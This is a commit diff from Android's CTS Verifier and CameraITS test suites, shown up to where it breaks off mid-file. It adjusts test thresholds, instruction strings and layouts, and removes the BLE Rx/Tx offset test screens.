Snap for 8745897 from 05400540d670d63b52660348dc17e2226f10195c to tm-frc-adbd-release

Change-Id: Iab763a065e6787b19250705f64186fd496546bff

122 files changed, 2712 insertions, 1189 deletions

diff --git a/apps/CameraITS/tests/scene1_2/test_raw_exposure.py b/apps/CameraITS/tests/scene1_2/test_raw_exposure.py
index 56a6fd0a433..d01f5380421 100644
--- a/apps/CameraITS/tests/scene1_2/test_raw_exposure.py
+++ b/apps/CameraITS/tests/scene1_2/test_raw_exposure.py
@@ -124,12 +124,12 @@ def assert_increasing_means(means, exps, sens, black_levels, white_level):
                     white_level, max(mean))
       break
 
-    if allow_under_saturated and min(mean-lower_thresh) > 0:
+    if allow_under_saturated and min(mean-lower_thresh) < 0:
       # All channel means are close to black level
       continue
-
     allow_under_saturated = False
     # Check pixel means are increasing (with small tolerance)
+    logging.debug('iso: %d, exp: %.3f, means: %s', sens, exps[i-1], mean)
     for ch, color in enumerate(COLORS):
       if mean[ch] <= prev_mean[ch] * IMG_DELTA_THRESH:
         e_msg = f'{color} not increasing with increased exp time! ISO: {sens}, '
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index 193993524de..8c98be0a2ec 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -39,6 +39,7 @@ _CAM_FRAME_RANGE_MAX = 9.0  # Seconds: max allowed camera frame range.
 _GYRO_SAMP_RATE_MIN = 100.0  # Samples/second: min gyro sample rate.
 _NAME = os.path.splitext(os.path.basename(__file__))[0]
 _ARDUINO_ANGLES = (0, 90)
+_ARDUINO_INIT_WAIT_TIME = 3.0  # Seconds to wait for Arduino comm
 _ARDUINO_MOVE_TIME = 2
 _ARDUINO_SERVO_SPEED = 20
 _NUM_ROTATIONS = 10
@@ -104,6 +105,8 @@ def _collect_data(cam, fps, w, h, test_length, rot_rig, chart_dist, log_path):
 
   # Sleep a while for gyro events to stabilize.
   time.sleep(_GYRO_INIT_WAIT_TIME)
+  if rot_rig['cntl'].lower() == 'arduino':
+    time.sleep(_ARDUINO_INIT_WAIT_TIME)
 
   # Capture frames.
   facing = props['android.lens.facing']
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 35afa207584..d74516b6f09 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -4076,70 +4076,6 @@
                 android:value="7.4.3/C-7-2" />
         </activity>
 
-        <!--
-            CTS Verifier BLE Rx Offset Test Screen
-                test category : BLE
-                test parent : PresenceTestActivity
-        -->
-        <activity
-            android:name=".presence.BleRxOffsetActivity"
-            android:exported="true"
-            android:label="@string/ble_rx_offset_name">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-
-            <meta-data
-                android:name="test_category"
-                android:value="@string/ble" />
-            <meta-data
-                android:name="test_parent"
-                android:value="com.android.cts.verifier.presence.PresenceTestActivity" />
-            <meta-data
-                android:name="test_required_features"
-                android:value="android.hardware.bluetooth_le" />
-            <meta-data
-                android:name="display_mode"
-                android:value="single_display_mode" />
-            <meta-data
-                android:name="CddText"
-                android:value="7.4.3/C-7-3" />
-        </activity>
-
-        <!--
-            CTS Verifier BLE Tx Offset Test Screen
-                test category : BLE
-                test parent : PresenceTestActivity
-        -->
-        <activity
-            android:name=".presence.BleTxOffsetActivity"
-            android:exported="true"
-            android:label="@string/ble_tx_offset_name">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-
-            <meta-data
-                android:name="test_category"
-                android:value="@string/ble" />
-            <meta-data
-                android:name="test_parent"
-                android:value="com.android.cts.verifier.presence.PresenceTestActivity" />
-            <meta-data
-                android:name="test_required_features"
-                android:value="android.hardware.bluetooth_le" />
-            <meta-data
-                android:name="display_mode"
-                android:value="single_display_mode" />
-            <meta-data
-                android:name="CddText"
-                android:value="7.4.3/C-7-4" />
-        </activity>
-
         <!-- CTS Verifier Nan Precision and Bias Test Screen
                  test category : wifi_nan
                  test parent : PresenceTestActivity
diff --git a/apps/CtsVerifier/res/layout/ble_advertising_set.xml b/apps/CtsVerifier/res/layout/ble_advertising_set.xml
index 06225d91fd3..99558485c5d 100644
--- a/apps/CtsVerifier/res/layout/ble_advertising_set.xml
+++ b/apps/CtsVerifier/res/layout/ble_advertising_set.xml
@@ -14,7 +14,7 @@
   ~ See the License for the specific language governing permissions and
   ~ limitations under the License.
   -->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
               android:orientation="vertical"
               android:layout_width="match_parent"
               android:layout_height="wrap_content">
@@ -26,12 +26,16 @@
     <Button android:id="@+id/ble_advertising_set_start_test"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
+            android:layout_below="@id/ble_advertising_set_test_instruction"
             android:text="@string/ble_advertising_set_start_test"/>
     <ListView android:id="@+id/ble_advertising_set_tests"
               android:layout_width="match_parent"
               android:layout_height="wrap_content"
+              android:layout_below="@id/ble_advertising_set_start_test"
+              android:layout_above="@id/pass_fail_buttons"
               android:padding="10dip"/>
     <include android:layout_width="match_parent"
              android:layout_height="wrap_content"
+             android:layout_alignParentBottom="true"
              layout="@layout/pass_fail_buttons"/>
-</LinearLayout>
+</RelativeLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/ble_rx_offset.xml b/apps/CtsVerifier/res/layout/ble_rx_offset.xml
deleted file mode 100644
index 3ca35b433bb..00000000000
--- a/apps/CtsVerifier/res/layout/ble_rx_offset.xml
+++ /dev/null
@@ -1,59 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?><!--
-  ~ Copyright (C) 2022 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:tools="http://schemas.android.com/tools"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent"
-    android:orientation="vertical"
-    style="@style/RootLayoutPadding"
-    tools:ignore="Autofill">
-
-    <ScrollView
-        android:layout_width="fill_parent"
-        android:layout_height="wrap_content">
-
-        <LinearLayout
-            android:orientation="vertical"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content">
-
-            <TextView
-                android:text="@string/ble_rx_offset_test_instructions"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:scrollbars="vertical" />
-
-            <EditText
-                android:id="@+id/report_ble_rssi_median"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:hint="@string/report_ble_rssi_median"
-                android:inputType="numberSigned" />
-
-            <EditText
-                android:id="@+id/report_reference_device"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:hint="@string/report_reference_device"
-                android:inputType="text" />
-
-            <include
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                layout="@layout/pass_fail_buttons" />
-        </LinearLayout>
-    </ScrollView>
-</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/ble_tx_offset.xml b/apps/CtsVerifier/res/layout/ble_tx_offset.xml
deleted file mode 100644
index 0c952bda646..00000000000
--- a/apps/CtsVerifier/res/layout/ble_tx_offset.xml
+++ /dev/null
@@ -1,59 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?><!--
-  ~ Copyright (C) 2022 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:tools="http://schemas.android.com/tools"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent"
-    android:orientation="vertical"
-    style="@style/RootLayoutPadding"
-    tools:ignore="Autofill">
-
-    <ScrollView
-        android:layout_width="fill_parent"
-        android:layout_height="wrap_content">
-
-        <LinearLayout
-            android:orientation="vertical"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content">
-
-            <TextView
-                android:text="@string/ble_tx_offset_test_instructions"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:scrollbars="vertical" />
-
-            <EditText
-                android:id="@+id/report_ble_rssi_median"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:hint="@string/report_ble_rssi_median"
-                android:inputType="numberSigned" />
-
-            <EditText
-                android:id="@+id/report_reference_device"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:hint="@string/report_reference_device"
-                android:inputType="text" />
-
-            <include
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                layout="@layout/pass_fail_buttons" />
-        </LinearLayout>
-    </ScrollView>
-</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/nan_precision.xml b/apps/CtsVerifier/res/layout/nan_precision.xml
index b5587256059..c81a9c4f120 100644
--- a/apps/CtsVerifier/res/layout/nan_precision.xml
+++ b/apps/CtsVerifier/res/layout/nan_precision.xml
@@ -41,42 +41,42 @@
                 <EditText android:id="@+id/distance_range_10cm_gt_68p"
                           android:layout_width="wrap_content"
                           android:layout_height="wrap_content"
-                          android:inputType="number"
+                          android:inputType="numberDecimal"
                           android:hint="@string/report_distance_range_10cm_gt_68p"/>
                 <EditText android:id="@+id/distance_range_1m_gt_68p"
                           android:layout_width="wrap_content"
                           android:layout_height="wrap_content"
-                          android:inputType="number"
+                          android:inputType="numberDecimal"
                           android:hint="@string/report_distance_range_1m_gt_68p"/>
                 <EditText android:id="@+id/distance_range_3m_gt_68p"
                           android:layout_width="wrap_content"
                           android:layout_height="wrap_content"
-                          android:inputType="number"
+                          android:inputType="numberDecimal"
                           android:hint="@string/report_distance_range_3m_gt_68p"/>
                 <EditText android:id="@+id/distance_range_5m_gt_68p"
                           android:layout_width="wrap_content"
                           android:layout_height="wrap_content"
-                          android:inputType="number"
+                          android:inputType="numberDecimal"
                           android:hint="@string/report_distance_range_5m_gt_68p"/>
                 <EditText android:id="@+id/distance_range_10cm_gt_90p"
                           android:layout_width="wrap_content"
                           android:layout_height="wrap_content"
-                          android:inputType="number"
+                          android:inputType="numberDecimal"
                           android:hint="@string/report_distance_range_10cm_gt_90p"/>
                 <EditText android:id="@+id/distance_range_1m_gt_90p"
                           android:layout_width="wrap_content"
                           android:layout_height="wrap_content"
-                          android:inputType="number"
+                          android:inputType="numberDecimal"
                           android:hint="@string/report_distance_range_1m_gt_90p"/>
                 <EditText android:id="@+id/distance_range_3m_gt_90p"
                           android:layout_width="wrap_content"
                           android:layout_height="wrap_content"
-                          android:inputType="number"
+                          android:inputType="numberDecimal"
                           android:hint="@string/report_distance_range_3m_gt_90p"/>
                 <EditText android:id="@+id/distance_range_5m_gt_90p"
                           android:layout_width="wrap_content"
                           android:layout_height="wrap_content"
-                          android:inputType="number"
+                          android:inputType="numberDecimal"
                           android:hint="@string/report_distance_range_5m_gt_90p"/>
                 <EditText android:id="@+id/reference_device"
                           android:layout_width="wrap_content"
diff --git a/apps/CtsVerifier/res/layout/uwb_precision.xml b/apps/CtsVerifier/res/layout/uwb_precision.xml
index f682a421961..14e996d6f5f 100644
--- a/apps/CtsVerifier/res/layout/uwb_precision.xml
+++ b/apps/CtsVerifier/res/layout/uwb_precision.xml
@@ -35,13 +35,8 @@
                 <EditText android:id="@+id/distance_range_cm"
                           android:layout_width="wrap_content"
                           android:layout_height="wrap_content"
-                          android:inputType="number"
+                          android:inputType="numberDecimal"
                           android:hint="@string/report_distance_range_cm"/>
-                <EditText android:id="@+id/aoa_range_degrees"
-                          android:layout_width="wrap_content"
-                          android:layout_height="wrap_content"
-                          android:inputType="number"
-                          android:hint="@string/report_aoa_range_degrees"/>
                 <EditText android:id="@+id/reference_device"
                           android:layout_width="wrap_content"
                           android:layout_height="wrap_content"
diff --git a/apps/CtsVerifier/res/layout/uwb_short_range.xml b/apps/CtsVerifier/res/layout/uwb_short_range.xml
index 8790ea3cd9b..9afc6e5a6b4 100644
--- a/apps/CtsVerifier/res/layout/uwb_short_range.xml
+++ b/apps/CtsVerifier/res/layout/uwb_short_range.xml
@@ -32,10 +32,11 @@
             <LinearLayout android:orientation="vertical"
                     android:layout_width="match_parent"
                     android:layout_height="wrap_content">
-                <EditText android:id="@+id/distance_median_cm"
+                <EditText android:id="@+id/distance_median_meters"
                         android:layout_width="wrap_content"
+                          android:inputType="numberDecimal"
                         android:layout_height="wrap_content"
-                        android:hint="@string/report_distance_median_cm"/>
+                        android:hint="@string/report_distance_median_meters"/>
                 <EditText android:id="@+id/reference_device"
                           android:layout_width="wrap_content"
                           android:layout_height="wrap_content"
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index d595bef2e78..baaa61d592e 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -4350,7 +4350,7 @@ You should be prompted to select credentials; choose the ones you just installed
     <string name="disallow_config_date_time">Disallow config date time</string>
     <string name="disallow_config_date_time_action">Configuring auto time, time, auto date or date</string>
     <string name="disallow_config_location">Disallow config location</string>
-    <string name="disallow_config_location_action">Enabling or disabling location in settings or quick settings</string>
+    <string name="disallow_config_location_action">Enabling or disabling location, \'Bluetooth Scanning\' or \'WiFi Scanning\' in settings or quick settings</string>
     <string name="disallow_airplane_mode">Disallow airplane mode</string>
     <string name="disallow_airplane_mode_action">Toggling airplane mode switch bar or changing airplane mode state in quick settings</string>
     <string name="disallow_config_screen_timeout">Disallow config screen timeout</string>
@@ -6598,21 +6598,18 @@ Follow the instructions on the screen to measure the frequency response for the
     <string name="uwb_precision">Uwb Precision Test</string>
     <string name="uwb_short_range">Uwb Short Range Test</string>
     <string name="uwb_precision_instruction">
-        1. Take 1000 measurements with DUT at any distance from the reference device. We recommend 1m.
-        \n2. Sort the 1000 measurements.
-        \n3. Compute the range as range = 975th measurement - 25th measurement
-        \n4. Report the range below - Must be less than 10cm for distance measurements and 5 degrees for angle of arrival measurements (if supported) for tests to pass.
-        \n5. Distance range is a compulsory input for this test to pass. Angle of arrival (Aoa) is optional.
+        1. Take 1000 measurements with DUT at 1m distance from the reference device in a non-reflective chamber.
+        \n2. Sort the 1000 measurements and compute the range as 975th measurement - 25th measurement
+        \n3. Report the range below - Must be within 30cm (distance) for tests to pass.
     </string>
     <string name="report_distance_range_cm">Report Range (cm)</string>
-    <string name="report_aoa_range_degrees">Report Range (degrees)</string>
     <string name="uwb_short_range_instruction">
-        1. Take 1000 measurements with DUT being 10cm apart from the reference device
+        1. Take 1000 measurements with DUT being 1m apart from the reference device, where ground truth distance is measured from the top edge of the DUT, held face up and tilted 45 degrees
         \n2. Sort the values.
-        \n3. Report the median (500th value) (must be within 8cm - 12cm to pass).
+        \n3. Report the median (500th value) (must be within 0.75m and 1.25m to pass).
         \n4. Report the reference device used.
     </string>
-    <string name="report_distance_median_cm">Report Median (cm)</string>
+    <string name="report_distance_median_meters">Report Median (meters)</string>
     <string name="report_reference_device">Report Reference Device</string>
     <string name="uwb_not_supported">Uwb is not supported on device. Finishing activity. </string>
     <string name="ble">BLE</string>
@@ -6620,11 +6617,10 @@ Follow the instructions on the screen to measure the frequency response for the
     <!-- Strings for BLE RSSI Precision Test -->
     <string name="ble_rssi_precision_name">BLE RSSI Precision Test</string>
     <string name="ble_rssi_precision_test_instructions">
-        1. Take 1000 scan measurements with the DUT
-        \n2. Sort the values
-        \n3. Compute the range as range = 975th measurement - 25th measurement
-        \n4. Report the range; must be less than or equal to 12dBm to pass
-        \n5. Report the reference device used
+        1. Take 1000 scan measurements with the DUT at 1m distance from the reference device transmitting at ADVERTISE_TX_POWER_HIGH in line of sight environment
+        \n2. Sort the measurements and compute the range as 975th measurement - 25th measurement
+        \n3. Report the range below. Must be within 18dBm for tests to pass
+        \n4. Report the reference device used
     </string>
     <string name="report_ble_rssi_range">Report RSSI Range (dBm)</string>
 
@@ -6633,39 +6629,22 @@ Follow the instructions on the screen to measure the frequency response for the
     <string name="ble_rx_tx_calibration_test_instructions">
         To verify this requirement, work with your chip vendor. The chip vendor can measure the
         channel flatness and identify the differences between cores and channels.
-        \nThe RSSI range must be less than or equal to 6 dBm to pass.
+        \n1. Must include Rx/Tx corrections to reduce per-channel deviations so that the measurements on each of the 3 channels, on each of the antennas (if multiple are used), are within +/-3dBm of one another for 95% of the measurements.
+        \n2. For 1000 sorted measurements, report the range as 975th measurement - 25th measurement. Must be within 6dBm to pass.
     </string>
     <string name="report_channels_ble_rssi_range">Report RSSI Range Across Channels (dBm)</string>
     <string name="report_cores_ble_rssi_range">[Optional] Report RSSI Range Across Cores (dBm)</string>
 
-    <!-- Strings for BLE Rx Offset Test -->
-    <string name="ble_rx_offset_name">BLE Rx Offset Test</string>
-    <string name="ble_rx_offset_test_instructions">
-        1. Take 1000 scan measurements with the DUT
-        \n2. Sort the values
-        \n3. Report the median (500th value); must be within [-57, -63] dBm to pass
-        \n4. Report the reference device used
-    </string>
-    <string name="report_ble_rssi_median">Report RSSI Median (dBm)</string>
-
-    <!-- Strings for BLE Tx Offset Test -->
-    <string name="ble_tx_offset_name">BLE Tx Offset Test</string>
-    <string name="ble_tx_offset_test_instructions">
-        1. Start BLE advertisement on DUT and take 1000 scan measurements with the reference device
-        \n2. Sort the values
-        \n3. Report the median (500th value); must be within [-57, -63] dBm to pass
-        \n4. Report the reference device used
-    </string>
     <string name="nan_precision_instruction">
         1. Take 1000 ranging measurements at each of the ground truth points of 10cm, 1m, 3m, and 5m. The WifiNanScan app in Play Store is recommended for data collection.
         \n2. Report the bandwidth at which the data was collected. Must be either 160, 80, 40, 20 MHz.
-        \n2. For each ground truth point:
-        \n\t\ta. Must report the range at the 68th percentile (as calculated with the Cumulative Distribution Function), accurately to within:
-        \n\t\t\ti. +/-1 meters at 160 MHz bandwidth
-        \n\t\t\tii. +/-2 meters at 80 MHz bandwidth
-        \n\t\t\tiii. +/-4 meters at 40 MHz bandwidth
-        \n\t\t\tiv. +/-8 meters at 20 MHz bandwidth
-        \n4. Following the same instructions above, it is strongly recommended (but not required), to report the range at the 90th percentile as calculated with the Cumulative Distribution Function. If the range at 90th percentile is inputted, it must be within the expected range, and inputted for all distance ranges.
+        \n3. For each ground truth point:
+        \n\t\ta. Sort the measurements, and report the range at the 68th percentile (840th measurement - 160th measurement), accurately to within:
+        \n\t\t\ti. 2 meters at 160 MHz bandwidth
+        \n\t\t\tii. 4 meters at 80 MHz bandwidth
+        \n\t\t\tiii. 8 meters at 40 MHz bandwidth
+        \n\t\t\tiv. 16 meters at 20 MHz bandwidth
+        \n4. Following the same instructions above, it is strongly recommended (but not required), to report the range at the 90th percentile (950th measurement - 50th measurement) as calculated with the Cumulative Distribution Function. If the range at 90th percentile is inputted, it must be within the expected range, and inputted for all distance ranges.
         \n5. Report reference device used. All required fields must be filled before test can be passed.
     </string>
     <string name="report_nan_bandwidth_mhz">Bandwidth (MHz)</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index 647371dc329..1349767889f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -76,7 +76,6 @@ import android.os.HandlerThread;
 import android.os.IBinder;
 import android.os.SystemClock;
 import android.os.Vibrator;
-import android.util.DisplayMetrics;
 import android.util.Log;
 import android.util.Rational;
 import android.util.Size;
@@ -1840,7 +1839,9 @@ public class ItsService extends Service implements SensorEventListener {
             return;
         }
 
-        Size maxPreviewSize = getMaxPreviewSize();
+        // s1440p which is the max supported stream size in a combination, when preview
+        // stabilization is on.
+        Size maxPreviewSize = new Size(1920, 1440);
         Size[] outputSizes = configMap.getOutputSizes(ImageFormat.YUV_420_888);
         if (outputSizes == null) {
             mSocketRunnableObj.sendResponse("supportedPreviewSizes", "");
@@ -1858,18 +1859,6 @@ public class ItsService extends Service implements SensorEventListener {
         mSocketRunnableObj.sendResponse("supportedPreviewSizes", response);
     }
 
-    private Size getMaxPreviewSize() {
-        // Android guarantees preview resolutions up to 1080p or the screen resolution, whichever
-        // is lower.
-        Size maxGuaranteedPreviewSize = new Size(1920, 1080);
-        DisplayMetrics displayMetrics = getApplicationContext().getResources().getDisplayMetrics();
-        if (maxGuaranteedPreviewSize.getHeight() * maxGuaranteedPreviewSize.getWidth()
-                < displayMetrics.heightPixels * displayMetrics.widthPixels) {
-            return maxGuaranteedPreviewSize;
-        }
-        return new Size(displayMetrics.widthPixels, displayMetrics.heightPixels);
-    }
-
     private class MediaCodecListener extends MediaCodec.Callback {
         private final MediaMuxer mMediaMuxer;
         private final Object mCondition;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java
index f25209bd666..f0c62c4a14c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java
@@ -23,7 +23,9 @@ import android.net.wifi.p2p.WifiP2pDevice;
 import android.net.wifi.p2p.WifiP2pGroup;
 import android.net.wifi.p2p.WifiP2pInfo;
 import android.net.wifi.p2p.WifiP2pManager;
+import android.os.Build;
 
+import com.android.compatibility.common.util.PropertyUtil;
 import com.android.cts.verifier.R;
 
 import java.lang.reflect.Method;
@@ -216,7 +218,9 @@ public abstract class ConnectReqTestCase extends ReqTestCase {
             if (!group.isGroupOwner()) {
                 long endTime = System.currentTimeMillis();
                 long connectionLatency = endTime - startTime;
-                if (connectionLatency > MAXIMUM_EXPECTED_CONNECTION_LATENCY_WITH_CONFIG_MS) {
+                if (PropertyUtil.isVndkApiLevelAtLeast(Build.VERSION_CODES.TIRAMISU)
+                        && connectionLatency
+                        > MAXIMUM_EXPECTED_CONNECTION_LATENCY_WITH_CONFIG_MS) {
                     mReason = mContext.getString(R.string.p2p_connection_latency_error,
                             MAXIMUM_EXPECTED_CONNECTION_LATENCY_WITH_CONFIG_MS, connectionLatency);
                     return false;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRssiPrecisionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRssiPrecisionActivity.java
index 443f65aa150..1548910093a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRssiPrecisionActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRssiPrecisionActivity.java
@@ -38,7 +38,7 @@ public class BleRssiPrecisionActivity extends PassFailButtons.Activity {
     private static final String KEY_REFERENCE_DEVICE = "reference_device";
 
     // Thresholds
-    private static final int MIN_RSSI_RANGE_DBM = 12;
+    private static final int MAX_RSSI_RANGE_DBM = 18;
 
     private EditText reportRssiRangeEditText;
     private EditText reportReferenceDeviceEditText;
@@ -66,8 +66,10 @@ public class BleRssiPrecisionActivity extends PassFailButtons.Activity {
                     .create().show();
         }
 
-        reportRssiRangeEditText.addTextChangedListener(InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-        reportReferenceDeviceEditText.addTextChangedListener(InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
+        reportRssiRangeEditText.addTextChangedListener(
+                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
+        reportReferenceDeviceEditText.addTextChangedListener(
+                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
     }
 
     private void checkTestInputs() {
@@ -80,7 +82,7 @@ public class BleRssiPrecisionActivity extends PassFailButtons.Activity {
         if (!rssiRangeInput.isEmpty()) {
             int rssiRange = Integer.parseInt(rssiRangeInput);
             // RSSI range must be inputted and within acceptable range before test can be passed
-            return rssiRange <= MIN_RSSI_RANGE_DBM;
+            return rssiRange <= MAX_RSSI_RANGE_DBM;
         }
         return false;
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxOffsetActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxOffsetActivity.java
deleted file mode 100644
index e6b5abe960b..00000000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxOffsetActivity.java
+++ /dev/null
@@ -1,122 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.presence;
-
-import android.app.AlertDialog;
-import android.bluetooth.BluetoothAdapter;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.text.Editable;
-import android.util.Log;
-import android.widget.EditText;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-/**
- * Tests that the devices' Rx offset results in a median RSSI within a specified range
- */
-public class BleRxOffsetActivity extends PassFailButtons.Activity {
-    private static final String TAG = BleRxOffsetActivity.class.getName();
-
-    // Report log schema
-    private static final String KEY_MEDIAN_RSSI = "rssi_range";
-    private static final String KEY_REFERENCE_DEVICE = "reference_device";
-
-    // Thresholds
-    private static final int MEDIAN_RSSI_UPPER_BOUND = -57;
-    private static final int MEDIAN_RSSI_LOWER_BOUND = -63;
-
-    private EditText reportMedianRssiEditText;
-    private EditText reportReferenceDeviceEditText;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.ble_rx_offset);
-        setPassFailButtonClickListeners();
-        getPassButton().setEnabled(false);
-
-        reportMedianRssiEditText = findViewById(R.id.report_ble_rssi_median);
-        reportReferenceDeviceEditText = findViewById(R.id.report_reference_device);
-
-        DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(),
-                PackageManager.FEATURE_BLUETOOTH_LE);
-
-        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
-
-        if (!adapter.isEnabled()) {
-            new AlertDialog.Builder(this)
-                    .setTitle(R.string.ble_bluetooth_disable_title)
-                    .setMessage(R.string.ble_bluetooth_disable_message)
-                    .setOnCancelListener(dialog -> finish())
-                    .create().show();
-        }
-
-        reportMedianRssiEditText.addTextChangedListener(
-                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-        reportReferenceDeviceEditText.addTextChangedListener(
-                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-    }
-
-    private void checkTestInputs() {
-        getPassButton().setEnabled(checkMedianRssiInput() && checkReferenceDeviceInput());
-    }
-
-    private boolean checkMedianRssiInput() {
-        String medianRssiInput = reportMedianRssiEditText.getText().toString();
-
-        if (!medianRssiInput.isEmpty()) {
-            int medianRssiRange;
-            try {
-                medianRssiRange = Integer.parseInt(medianRssiInput);
-            } catch (NumberFormatException e) {
-                return false;
-            }
-            // Median RSSI must be inputted and within acceptable range before test can be passed
-            return medianRssiRange <= MEDIAN_RSSI_UPPER_BOUND
-                    && medianRssiRange >= MEDIAN_RSSI_LOWER_BOUND;
-        }
-        return false;
-    }
-
-    private boolean checkReferenceDeviceInput() {
-        // Reference device must be inputted before test can be passed
-        return !reportReferenceDeviceEditText.getText().toString().isEmpty();
-    }
-
-    @Override
-    public void recordTestResults() {
-        String medianRssi = reportMedianRssiEditText.getText().toString();
-        String referenceDevice = reportReferenceDeviceEditText.getText().toString();
-
-        if (!medianRssi.isEmpty()) {
-            Log.i(TAG, "BLE Median RSSI (dBm): " + medianRssi);
-            getReportLog().addValue(KEY_MEDIAN_RSSI, Integer.parseInt(medianRssi),
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-
-        if (!referenceDevice.isEmpty()) {
-            Log.i(TAG, "BLE Reference Device: " + referenceDevice);
-            getReportLog().addValue(KEY_REFERENCE_DEVICE, referenceDevice,
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-        getReportLog().submit();
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxCalibrationActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxCalibrationActivity.java
index 96019f729eb..2de7edffe7c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxCalibrationActivity.java
